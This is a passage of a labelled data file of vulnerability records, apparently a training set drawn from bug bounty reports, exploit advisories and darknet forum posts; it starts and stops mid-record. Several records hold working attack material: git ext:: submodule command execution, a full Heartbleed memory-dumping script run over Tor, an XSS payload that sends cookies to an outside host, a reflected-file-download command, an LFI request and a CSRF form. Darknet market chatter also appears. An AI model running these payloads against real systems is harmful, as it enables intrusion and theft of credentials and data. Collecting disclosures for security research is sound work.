git-fastclone reimplements fetching submodules, you cannot take advantage of the recent fix to git. Even if the user's git is patched and up to date, git-fastclone is vulnerable.\n\nTo mitigate this, git now supports a GIT_ALLOW_PROTOCOL environment variable to whitelist the allowed protocols for all git operations. See the 33cfccb commit above for an example. You could set this to the same whitelist that git-submodule now uses.\n\n[1] https://lkml.org/lkml/2015/10/5/683\n[2] https://access.redhat.com/security/cve/cve-2015-7545\n[3] https://code.google.com/p/git-repo/issues/detail?id=210\n\n\n\nThe following commands should demonstrate the vulnerability. This repository should trigger the vulnerability on any *nix system and will cat /etc/passwd to the screen during `git fastclone ...`\n\n\n git init malicious-ext-submodule\n cd malicious-ext-submodule\n \n # This can be the URL of any valid git repository\n # This is just used to initially create the submodule in the repo\n git submodule add https://github.com/octocat/Hello-World malicious-submodule\n \n # Then rewrite the .gitmodules file to the malicious ext:: url\n cat >.gitmodules <<\"EOF\"\n [submodule \"malicious-submodule\"]\n path = malicious-submodule\n url = \"ext::sh -c cat% /etc/passwd% >&2\"\n EOF\n git add .gitmodules\n git commit -m 'Malicious git-remote-ext submodule'\n cd ..\n \n # Now clone the repository locally\n # This works just as well if cloning from a network-based git repository as well\n git fastclone malicious-ext-submodule malicious-ext-submodule-clone\n \n # Observe demonstration of command execution by printing /etc/password to stderr\n \n \n # If you are running a patched version of git (e.g. v2.6.1), this command should not trigger the exploit:\n git clone --recursive malicious-ext-submodule malicious-ext-submodule-clone", "source": "hackerone", "timestamp": "2016-01-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4fe9f01d8c78c802a69a", "text": "[Information Disclosure] Preferred language option fingerprinting issue in Tor Browser\n\nI'm not so sure if this is an in-scope issue or by-design. But based on my understanding of [1], I feel that Tor doesn't want to make user configuration details of Tor Browser detectable by websites. But in about:preferences#content, there's a \"Languages\" section that allows users to \"choose your preferred language for displaying pages\". When users add a language here, there's no warning to tell them that this info will be sent to the websites. The language list will be available to websites in the \"Accept-Language\" HTTP request header, and in JavaScript API \"navigator.languages\".\n\nTo fix this issue, I think there're three options: 1) remove this option from the settings; 2) let users configure a list of domains for which the language list is sent; other sites get the default value; 3) add a warning in the setting page: \"the info of your added languages is sent to all sites, which may be used to fingerprint you\" or something like this.\n\n[1] https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability, Sources of Fingerprinting Issues", "source": "hackerone", "timestamp": "2017-10-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bd2d051ad74f2cb57038", "text": "[Violation of Secure Design Principles] Subdomain misconfiguration [mail.legalrobot.com]\n\nHi Team,\n\nYou subdomain mail.legalrobot.com has a CNAME record that resolved to ghs.google.com and shows error when navigating to subdomain,\nshould remove CNAME entry for that subdomain pointing towards ghs.google.com.I couldn't verify the domain ownership process to fully takeover subdomain.\nmail.legalrobot.com canonical name = ghs.google.com\nFor POC i have claim the domain of gsuite account using mail.legalrobot.com\n\nFix:\nTo fully resolve the issue you need to remove the CNAME record and put in place a web forwarding rule for mail.legalrobot.com towards new web landing page.\n\nPlease find the attachment of POC.\n\nThanks \n_prakash", "source": "hackerone", "timestamp": "2017-07-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "219da635aacf8cc4ee8a", "text": "ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dfc756c0eb030f142e0b", "text": "[Cross-site Scripting (XSS) - Generic] Webview Vulnerablity [OwnCloudAndroid Application]\n\nHi **OwnCloud Team** ,\r\n\r\n###Vulnerability Description:###\r\n\r\n**What is Webview?:** We can load a remote URL or display HTML pages stored in our application within an activity using WebView. Internally it uses WebKit rendering engine to display web pages. It supports methods to navigate forward and backward, text searches, etc. It has some nice features such as support for the usage of JavaScript.\r\n\r\n###Where I found it?###\r\n\r\nIn **SamlWebViewDialog.java.class** located under the path ` android/src/com/owncloud/android/ui/dialog/` \r\n\r\nI clipped the important code which introduced this vulnerability in your app.\r\n\r\n if (mSsoWebView == null) {\r\n // initialize the WebView\r\n mSsoWebView = new SsoWebView(getActivity().getApplicationContext());\r\n mSsoWebView.setFocusable(true);\r\n mSsoWebView.setFocusableInTouchMode(true);\r\n mSsoWebView.setClickable(true);\r\n \r\n WebSettings webSettings = mSsoWebView.getSettings();\r\n webSettings.setJavaScriptEnabled(true);\r\n webSettings.setBuiltInZoomControls(false);\r\n webSettings.setLoadWithOverviewMode(false);\r\n webSettings.setSavePassword(false);\r\n webSettings.setUserAgentString(MainApp.getUserAgent());\r\n webSettings.setSaveFormData(false);\r\n \r\n CookieManager cookieManager = CookieManager.getInstance();\r\n cookieManager.setAcceptCookie(true);\r\n cookieManager.removeAllCookie();\r\n \r\n mSsoWebView.loadUrl(mInitialUrl);\r\n }\r\n \r\n\r\nhere you can see that:\r\n\r\n `webSettings.setJavaScriptEnabled(true);`\r\n\r\nThe *WebView* Object been activated to parse javascript inside it.\r\n\r\n**However by default when we create an WebView object JavaScript is disabled by default until and unless it explicitly declare by the developer.** \r\n\r\nThe untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE.\r\n\r\n###Mitigation:###\r\n\r\nIf you turn off the setJavaScriptEnabled as follows, adversaries will not be able to run any JavaScript in order to perform XSS \r\n`webSettings.setJavaScriptEnabled(False);`\r\n\r\n\r\n###SEVERITY: High ###\r\n\r\nIt is not just limited to XSS because of javascript ! In fact, using this, an attacker can even use JavaScript to invoke certain methods on the phone, such as sending an SMS to another number, making a call, or even getting a remote shell using tools such as Drozer.\r\n\r\n**I highly recommend my article on github for the mitgation and understanding of the attack**\r\n\r\n##https://github.com/vjex/WriteUp/blob/master/WebviewVuln.md##\r\n\r\n###More References:###\r\n\r\n - http://www.wintellect.com/devcenter/paulballard/new-report-sites-significant-security-vulnerabilities-in-android-devices\r\n - http://www.cvedetails.com/cve/CVE-2013-4710/\r\n - https://community.rapid7.com/community/metasploit/blog/2015/01/02/2014-a-year-of-android-exploits-in-metasploit\r\n - https://github.com/jduck/VulnWebView/\r\n\r\n**Happy to help.**\r\nCheers\r\n#:)#\r\n\r\n@avicoder", "source": "hackerone", "timestamp": "2015-10-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "afaeaf2a04cee7c6d658", "text": "[Information Disclosure] Administrator(s) Information disclosure via JSON on wordpress.org\n\nGreetings,\n\nHello Security Team,\n\nSummary:\n\nI have found a security vulnerability that can disclose some information of administrator users in this sub domain `developer.wordpress.org`\n\n### Description (Include Impact):\nSensitive information disclosure of administrator users.\n\n### PoC URL:\n* https://developer.wordpress.org/wp-json/wp/v2/users\n\n###PoC Screen Shot: \n* {F176692}\n\n\nLet me know if you need more information.\n\nCheers!\nj3", "source": "hackerone", "timestamp": "2017-04-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3ba11ed842287c087f20", "text": "[Agora] General Security Advice and Recommendations\n\nQuote from: In Pain on January 23 2014 11:54:23 AMHere's my small discussion regarding security and some of my personal recommendations/advice. A lot of it's quite basic or logical and/or already covered by other users but it's important to take security seriously and better to repeat than risk new users missing important suggestions.If you think I have missed some important point you disagree with me regarding something or I have made some mistake then please reply and help everyone to stay safe!Open source isn't silver bullet regarding securityThere's reasonable risk that some component in Tor Bundle (for example Firefox which Tor Browser is based on) containing a security vulnerability: either at the moment or in the future. First of all mistakes are made by even most careful and professional software developers from time to time. Also from time to time they aren't discovered for a long time. This includes security sensitive applications.Good example was buffer overflow exploit in FreeBSD's telnetd daemon (CVE-2011-4862). The exploit made attacker possible to gain full access over affected system without any authentication. It's good example for several reasons: source of FreeBSD's telnetd daemon is freely available it's security sensitive application (providing remote access) the bug isn't especially unique in C-code or hard to discover AND the faulty code was almost 20 years old before the vulnerability was (publicly) discovered! It may have been discovered by black hats a long before that though. Of course one reason why the bug may had persisted so long may have been the decrease in telnet use: since year 2001 it was disabled by default in FreeBSD. Still it's pretty mind-blowing how the faulty code wasn't already discovered by developers long before that.Who doesn't know then telnet is protocol that was created to provide remote access to devices (mostly servers). Nowadays of course SSH is recommended in almost all cases over telnet because it's more secure already by the design.Such security vulnerability may also be carefully planted there by government agencies. Being open source doesn't magically protect against it. An agents may pose as developers and \"help\" with the development. They may commit several useful and innocent updates firsts. Then at some point they may introduce several changes that seemingly fix or upgrade something. However together those changes also create some security vulnerability. It's not like they would just commit patch that is obviously malicious but something that is sneaky and inspecting those changes separately may not reveal the \"bug\". Even by reading whole code may not help unless the person is very competent in security cryptography networking interaction between different system components and so on.One leaked NSA presentation ('Tor: Overview of Existing Techniques') even mentions influencing the future development of Tor. Who doesn't know then an interesting side-note: Tor was initially sponsored by the U.S. Naval Research Laboratory.The increased security of open source comes from the fact that it's possible to inspect the source code however average Joe isn't able to understand single line of Tor's code. Even most of experienced developers aren't likely very knowledged in advanced cryptography. So actually there are limited people who have competence to peer review Tor project.Of course Tor is developed and monitored by security professionals but they are also humans and prone to make mistakes or may miss planted vulnerabilities.I think it's reasonable to believe that because Windows is most widely used then its Bundle is also main target for \"malicious forces\". However budget of NSA is big enough to also search them or plant vulnerabilities to Linux and/or its Tor Bundle.I'm not somehow saying that open source is less secure than closed source projects: of course the more eyes on the code the better. I advocate use of Linux and other open source software. However I think it's important that people don't have false sense ", "source": "gayanku", "timestamp": "2014-03-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0167652b048e3ff26d79", "text": "[Improper Restriction of Authentication Attempts] scripts loader DOS vulnerability\n\n1) vulnerability description\n\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. For example, https://wpwebsite.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,editor&ver=4.9.1, file load-scripts.php will load jquery-ui-core and editor files automatically and return the contents of the file.\n\nHowever, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n(check references for more details about the vulnerability)\n2) attack details\n\n*affected link : https://www.formassembly.com/wp-admin/load-scripts.php\n\n*proof of concept ( description );\n\nthe load-scripts.php file was receiving a parameter called load[]. This parameter is an array that was receiving the names of the JS files that needed to be loaded. In this case, it was receiving jQuery UI Core, which is the name of one of the Javascript files used by the WordPress login page. (it can be longer, this is just an example)\nAs no rate-limiting is setup for this URL - then DoS comes real\n\n*proof of concept ( link ) ; \nhttps://www.formassembly.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core&ver=4.9.1\n\n3) how to fix\n\nThe web application firewall will mitigate attacks by adding the following to .htaccess -file:\n\n<Files load-scripts.php>\n\nOrder allow, deny\n\nDeny from all\n\n</Files>\n\n4) vulnerability classification:\n\n*owasp 2017 top 10 (A9 Using Components with Known Vulnerabilities )\n\n*CVE( Common Vulnerabilities and Exposures ) : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389\n\n5) references:\n\nhttps://blog.threatpress.com/wordpress-vulnerability-dos/\n\nhttps://baraktawily.blogspot.com/2018/02/how-to-dos-29-of-world-wide-websites.html\n\n## Impact\n\ndenial of service", "source": "hackerone", "timestamp": "2020-02-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "51c17fcc087f91ecd109", "text": "P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-04-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1a383c80ce039c5fd898", "text": "[Information Disclosure] Private snippets in public / internal projects leaked though GitLab API\n\n# Vulnerability details\nThe `/projects/:id/snippets` resource leaks private snippets that were posted in a public or internal project.\n\n# Proof of concept\nAs a victim, create a new public or internal project. Lets state that the project has ID 1. Enable the snippets feature in the project settings and create a private snippet for the project. As an attacker, fetch all the snippets for the project:\n\n```bash\ncurl --header \"PRIVATE-TOKEN: XXXXXXXXXXXXXX\" \"http://gitlab-instance/api/v3/projects/1/snippets\"\n```\n\nThe response will contain snippet titles that were marked as private:\n\n```json\n[\n {\n \"id\":6,\n \"title\":\"Secret snippet\",\n \"file_name\":\"\",\n \"author\":{\n \"name\":\"Jane Doe\",\n \"username\":\"jane\",\n \"id\":3,\n \"state\":\"active\",\n \"avatar_url\":\"http://www.gravatar.com/avatar/f4d2ae4a63880c2a1c796bdd6d06a2d8?s=80\\u0026d=identicon\",\n \"web_url\":\"http://gitlab-ubuntu-2gb-sfo1-01/u/jane\"\n },\n \"updated_at\":\"2016-04-25T01:06:05.554Z\",\n \"created_at\":\"2016-04-25T01:06:05.554Z\",\n \"expires_at\":null\n }\n]\n```\n\nThe contents of a private snippet can be read by sending the following request to the GitLab API:\n\n```bash\ncurl --header \"PRIVATE-TOKEN: XXXXXXXXXXXXXX\" \"http://gitlab-instance/api/v3/projects/1/snippets/6/raw\"\n```\n\nThe response of this request leaks the contents of the snippet:\n\n```\nThese are the contents of a private snippet.\n```\n\n# Impact\nIt seems that private snippets may be used to hold private (API) tokens or similar confidential information. This can seriously damage to a company depending on what kind of information is shared.", "source": "hackerone", "timestamp": "2016-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b23f1ebed0059a187bf0", "text": "Xplico 0.5.7 (add.ctp) Remote XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-07-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e50e0f7fccfef58f07aa", "text": "[Command Injection - Generic] Reflected File Download on recipe list search\n\nHi guys,\n\nRight now I'm searching for JSON issues on your API so I started to go deep into the XHR requests.\nWhen I noticed the following request:\nhttps://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1&per=100&max_per_row=7&skip_other_warehouses=true&disable_autocorrect=false&source=web&warehouse_id=129&zone_id=12\n\nWhich returned the following output:\n\n{\"meta\":{\"code\":200,\"source\":\"search_service\",\"cluster\":null},\"data\":{\"term\":\"xss\",\"inventory_area_id\":617,\"items\":[],\"total_results\":0,\"aisles\":[],\"warehouses\":[],\"search_strategies\":[],\"tracking\":{},\"product_type_filter\":false,\"has_deals\":false,\"search_id\":141585110},\"pagination\":{\"total\":0,\"page\":1,\"per_page\":50}}\n\nI noticed that \"term\" parameter was reflected on the JSON format output so I tried a Reflected File Download.\n\nProof-of-concept:\nhttps://www.instacart.com/api/v2/searches.bat?cart_id=&term=\"||start chrome davidsopas.com/poc/malware.htm||&page=1&per=100&max_per_row=7&skip_other_warehouses=true&disable_autocorrect=false&source=web&warehouse_id=129&zone_id=12\n\nReflecting:\n{\"meta\":{\"code\":200,\"source\":\"search_service\",\"cluster\":null},\"data\":{\"term\":\"\\\"||start chrome davidsopas.com/poc/malware.htm||\",\"inventory_area_id\":617,\"items\":[],\"total_results\":0,\"aisles\":[],\"warehouses\":[],\"search_strategies\":[\"used_or_operator\"],\"tracking\":{},\"product_type_filter\":false,\"has_deals\":false,\"search_id\":141585846},\"pagination\":{\"total\":0,\"page\":1,\"per_page\":50}}\n\nSo I got my RFD attack now (even with URL permissive), next step was to create a special crafted page to force the download:\nhttp://0xhack.com/instacart_rfd.htm\n\nNote: You need to be authenticated with a Instacart account.\n\nCheck the attached screenshots on latest versions of Chrome and Opera.\n\nSo in my proof-of-concept I was able to run a new Google Chrome window with a html file simulating a malicious file on the Windows operative system.\n\nA malicious user could:\n\n1 - Launch a malicious campaign with the specially crafted page - similar to my PoC\n2 - Victim downloads the file thinking that is from a trusted domain [instacart.com]\n3 - Malicious user gains control over victims machine\n\nThis kind of attack is very dangerous and could lead to millions of users infected by malicious campaigns. Possibility of gaining operating system access from Instacart users is a high risk of security.\n\nSolution:\nUse content-disposition header to force a filename download. Also \"term\" parameter should be encoded to prevent this kind of reflection on the output.\n\nHope it helps.\n\nBest,\nDavid Sopas\n@dsopas", "source": "hackerone", "timestamp": "2016-10-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "077d7c5982cf2f23c2fa", "text": "[Improper Access Control - Generic] [H1-2006 2020] Multiple vulnerabilities allow to leak sensitive information\n\nSummary:\n---------------------\nHello team! This report is detailed write-up for chain of vulnerabilities that ended up with leaking sensitive information - a flag. CTF itself was really fun and I've enjoyed it. Hope you find my report valid and useful. \n\nSteps To Reproduce:\n---------------------\n\n## Reconnaissance phase \n\nScope of CTF are all subdomains of `bountypay.h1ctf.com`. As first step - let's search for available subdomains using [Certificate Search](https://crt.sh/) tool: \n\n{F861474}\n\nI've picked randomly `app.bountypay.h1ctf.com` that shows login page after connectiong to HTTP server. As part of active reconnaissance I've used [ffuf](https://github.com/ffuf/ffuf) tool with one of common wordlists from [SecLists](https://github.com/danielmiessler/SecLists).\n\n{F861475}\n\n*ffuf* output:\n```\n[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u \"https://app.bountypay.h1ctf.com/FUZZ\" -fc 404 -w /opt/common.txt\n\n /'___\\ /'___\\ /'___\\\n /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/\n \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\\n \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/\n \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\\n \\/_/ \\/_/ \\/___/ \\/_/\n\n v1.0.2\n________________________________________________\n\n :: Method : GET\n :: URL : https://app.bountypay.h1ctf.com/FUZZ\n :: Follow redirects : false\n :: Calibration : false\n :: Timeout : 10\n :: Threads : 40\n :: Matcher : Response status: 200,204,301,302,307,401,403\n :: Filter : Response status: 404\n________________________________________________\n\n.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2]\ncss [Status: 301, Size: 194, Words: 7, Lines: 8]\nimages [Status: 301, Size: 194, Words: 7, Lines: 8]\njs [Status: 301, Size: 194, Words: 7, Lines: 8]\nlogout [Status: 302, Size: 0, Words: 1, Lines: 1]\n:: Progress: [4666/4666] :: Job [1/1] :: 358 req/sec :: Duration: [0:00:13] :: Errors: 0 ::\n```\n\n`.git/HEAD` file seems to be interesting and bring us our first vulnerability. \n\n## Information Disclosure - .git directory available\n\nPreviously founded `.git/HEAD` file suggest that [Git](https://en.wikipedia.org/wiki/Git) repository were used. Checking if there's a `config` file reveals interesting information:\n\n```\n[ zoczus@ropchain:~ ]> curl \"https://app.bountypay.h1ctf.com/.git/config\"\n[core]\n repositoryformatversion = 0\n filemode = true\n bare = false\n logallrefupdates = true\n[remote \"origin\"]\n url = https://github.com/bounty-pay-code/request-logger.git\n fetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"master\"]\n remote = origin\n merge = refs/heads/master\n```\n\nSo there's a public [Github](https://github.com/bounty-pay-code/request-logger.git) repository containing one file - `logger.php`\n\n{F861483}\n\n```php\n<?php\n\n$data = array(\n 'IP' => $_SERVER[\"REMOTE_ADDR\"],\n 'URI' => $_SERVER[\"REQUEST_URI\"],\n 'METHOD' => $_SERVER[\"REQUEST_METHOD\"],\n 'PARAMS' => array(\n 'GET' => $_GET,\n 'POST' => $_POST\n )\n);\n\nfile_put_contents('bp_web_trace.log', date(\"U\").':'.base64_encode(json_encode($data)).\"\\n\",FILE_APPEND );\n```\n\nThis reveals another file available on server - `bp_web_trace.log`:\n\n```\n[ zoczus@ropchain:~/stuff/bounty/h1ctf ]> curl \"https://app.bountypay.h1ctf.com/bp_web_trace.log\"\n1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==\n1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==\n1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19\n1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwi", "source": "hackerone", "timestamp": "2020-06-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3535605b4ea956bda4af", "text": "V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5b59e8c3c26d04af729c", "text": "[Business Logic Errors] Opportunity to post hidden comments\n\nTwitter allows to comment on anyone's tweet. While testing this feature, observed that one can post comment on tweet which will be invisible to the victim whom the reply was posted and would be visible to any other twitter user.\nThis can allow an Attacker to abuse victim on a tweet. The catch here is victim cannot even know that attacker posted on his tweet but any other twitter user can see that tweet.\n\n**Steps to reproduce**\n\n1. Attacker login to Twitter\n2. Attacker blocks victim using Block@victim button at https://twitter.com/<victim>\n3. Attacker opens any popular tweet of victim\n4. Attacker abuses victim in the tweet reply\n5. Victim cannot see the tweet reply posted by Attacker but any other user can see that reply.\n\n**Recommendation**\nIf a person blocks a twitter user then he/she should not be allowed to post on any of the blocked user tweets.\n\n## Impact\n\nThis can allow an Attacker to abuse victim on a tweet. The catch here is victim cannot even know that attacker posted on his tweet but any other twitter user can see that tweet.", "source": "hackerone", "timestamp": "2018-12-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6e001aa31882dcaf4c71", "text": "Thought someone might find my script useful, managed to get it working over tor as well I suck at python though so don't complain if it isn't perfect #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.#edited by nukefile for mass dumping#need to download socks.py from http://sourceforge.net/projects/socksipy/ as well as the standalone tor.exe from torproject.org#usage: ssldump.py hostname#ctrl + c to stop import sysimport structimport socksimport socketimport timeimport selectimport re def h2bin(x): return x.replace(' ', '').replace('\\n', '').decode('hex') hello = h2bin('''16 03 02 00 dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15 00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 0000 0f 00 01 01 ''') hb = h2bin('''18 03 02 00 0301 40 00''') def hexdump(s): output = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat = ''.join((c if 32 0: rtime = endtime - time.time() if rtime BHH', hdr) pay = recvall(s, ln, 10) if pay is None: #print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: #print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: #print 'Received heartbeat response:' return hexdump(pay) if typ == 21: #print 'Received alert:' #print hexdump(pay) #print 'Server returned error, likely not vulnerable' return False def dump(hostname): s = socks.socksocket(); s.setproxy(socks.PROXY_TYPE_SOCKS5, \"127.0.0.1\", 9050) s.connect((hostname, 443)) s.send(hello) while True: typ, ver, pay = recvmsg(s) if typ == None: return false # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break s.send(hb) return hit_hb(s)test = dump(sys.argv[1]) #lets see if the server is vulnerable at first, shouldnt return falseif not test: print \"server not vulnerable\"else:#good, now let's start dumping timestr = time.strftime(\" %m-%d-%Y %H-%M-%S\") dumpstr = '' size = 0 with open(\"dump \" + sys.argv[1] + timestr + \".dump\", \"a\") as myfile: while True: dumpstr = dump(sys.argv[1]) size = size + len(dumpstr) try: myfile.write(\"...\" + dumpstr) except KeyboardInterrupt: myfile.close() sys.exit(0) sys.stdout.write(\"Dumped \" + str(size) + \" bytes \\r\") sys.stdout.flush()", "source": "evolution", "timestamp": "2014-04-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e3c96a866f90755259d6", "text": "Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-12-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e089743b0c19984648dd", "text": "[Silk Road 1] Re: Selling Forums Accounts - No More Freebies\n\nFee? No, wouldn't work. Regard the law of unintended consequences. While you might curb or stop the obvious silly troll, you won't stop the shill. The seller would be willing to buy shill accounts as the cost of doing business. But since it's a \"bought\" account, people would be more willing to trust the shill. You may end up with worse scams. Look, you know who the riff-raff are. You know who that some of these new accounts are as ball-less as those who give out negative Karma, so just ignore them. Buyers make the market. Nothing should impede a buyer anymore than having to learn the ropes of PGP, Bitcoins, escrow, etc. The only decent idea is a sandbox area for new posters until the either spend enough hours or make enough posts to be able to post in the regular forum. But of course, the sandbox area would be abused also.", "source": "gayanku", "timestamp": "2012-05-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "01a522757826235944fc", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at www.███████ at /██████████ via the ████████ parameter\n\n**Description:**\nThe www.████████ site is using `████`, which is vulnerable to reflected XSS in the `/█████` component via the `█████████` parameter.\n\n## References\nhttps://www.cvedetails.com/cve/CVE-2017-14651/\nhttps://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265\n\n## Impact\n\nAn attacker can cause malicious code to execute in the victims browser, leading to credential theft, drive-by downloads, malicious redirects, and more.\n\n## System Host(s)\nwww.██████████\n\n## Affected Product(s) and Version(s)\n████████\n\n## CVE Numbers\nCVE-2017-14651\n\n## Steps to Reproduce\nBrowse to https://www.███████/███████?██████████=%3Cimg%20src=x%20onerror=\"a='http%3a%2f%2f███';b='%3Fcookie=';c=btoa(document.cookie);window.open(a%2bb%2bc)\">\n\n## Suggested Mitigation/Remediation Actions\nApply ███ (see references section)", "source": "hackerone", "timestamp": "2021-06-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "729edc615d6a654bd50f", "text": "Intel Modular Server System 10.18 CSRF Change Admin Password Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-03-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dd3e2e7ea50ff502252b", "text": "[Cross-Site Request Forgery (CSRF)] CSRF - Adding/Removing items to cart - shop.khanacademy.org\n\nHi there,\r\n\r\nI've discovered a possiblity to remove/add items to a users' cart at shop.khanacademy.org.\r\n\r\n###Details\r\n\r\n```\r\n- Host: shop.khanacademy.org\r\n- URL: http://shop.khanacademy.org/cart\r\n- Affected parameters: updates[PRODUCTID]\r\n```\r\n\r\n\r\n###Steps to reproduce\r\n- 1. Visit http://shop.khanacademy.org/cart and empty your cart\r\n- 2. Run the following CSRF PoC:\r\n\r\n```\r\n<html>\r\n <body>\r\n <form action=\"http://shop.khanacademy.org/cart\" method=\"POST\">\r\n <input type=\"hidden\" name=\"updates[211669705]\" value=\"1\" />\r\n <input type=\"hidden\" name=\"update\" value=\"Update quantities\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n```\r\n\r\n- 3. Take a look into your cart again\r\n- 4. There should be a new item. \r\n\r\nAn attacker can set the quantity to zero to remove an item or increase / add new items to the cart. \r\n\r\n###How to fix?\r\nYou should add a CSRF token to the form. \r\n\r\nBest regards,\r\nSebastian Neef", "source": "hackerone", "timestamp": "2014-05-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5aaaba755ea8f9e617b4", "text": "SiNG cms 2.9.0 (email) Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-08-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1e17fe054f6ea46d71d3", "text": "[Reddit Darknet Markets] Moonshine?\n\nA quart here in S. Ga. Is $6.00", "source": "gayanku", "timestamp": "2014-09-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "eee24754dfeb85eaaf07", "text": "[Remote File Inclusion] LFI with potential to RCE on ██████ using CVE-2019-3396\n\n#POC\n\n```\nPOST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: ██████\nContent-Type: application/json\nContent-Length: 174\n\n{\"contentId\":\"12345\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.youtube.com/watch?v=wHEHYJpCkpg\",\"width\":\"300\",\"height\":\"200\",\"_template\":\"file://../\"}}}\n```\n\nThanks,\nBen\n\n## Impact\n\n#", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1b9b2ef6ba9d65797eb2", "text": "Telefonica O2 Connection Manager 3.4 Local Privilege Escalation 